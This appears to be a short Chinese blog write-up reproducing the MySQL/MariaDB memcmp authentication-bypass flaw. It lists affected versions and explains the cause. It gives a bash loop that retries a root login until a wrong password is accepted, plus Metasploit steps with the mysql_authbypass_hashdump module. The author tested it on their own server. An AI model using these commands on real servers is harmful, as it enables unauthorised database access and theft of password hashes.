赞
踩
影响版本:
MySQL 5.1.x before 5.1.63,
5.5.x before 5.5.24,
5.6.x before 5.6.6,
MariaDB 5.1.x before 5.1.62,
5.2.x before 5.2.12
5.3.x before 5.3.6
5.x before 5.5.23
漏洞出现的原理:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名且支持远程登录,然后不断尝试就能够直接登入SQL数据库。还有一个方法 msfconsole工具利用其带的SQL语句爆出密码,但是经过自己的测试发现无法得到密码(这里msf用的是自己服务器上搭的,可能存在问题)。
正常登录:
用户:root 密码:123456
不正常就不会登录成功,但是如果写一个脚本循环进行登录就会出现开始说的MySQL可能出现的问题,如下:
- #mysql.sh
- for ((i = 1; i < 1000; i++))
- do
- mysql -h 127.0.0.1 -u root -p1234 -P 3306;
- done
执行命令:bash mysql.sh
可以看到,即使前面一直在报错,但是到达了某一步时还是会登录成功,并且是拥有可执行查询权限的。
这个工具kali自带,之前打红日2的时候用过,没有kali的可以参考安装教程:https://jingyan.baidu.com/article/2c8c281dabacad0008252aa6.html
步骤如下:
- msfconsole
- use auxiliary/scanner/mysql/mysql_authbypass_hashdump
- set RHOSTS 你的外网IP
- set THREADS 100
- run
可惜了,一直不出结果,有可能是我搭的这个msf有问题还是啥的,MySQL的远程连接、错误连接次数的限制都改了还是不行,工作的电脑没有装kali,回去用自己电脑的kali试试吧。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。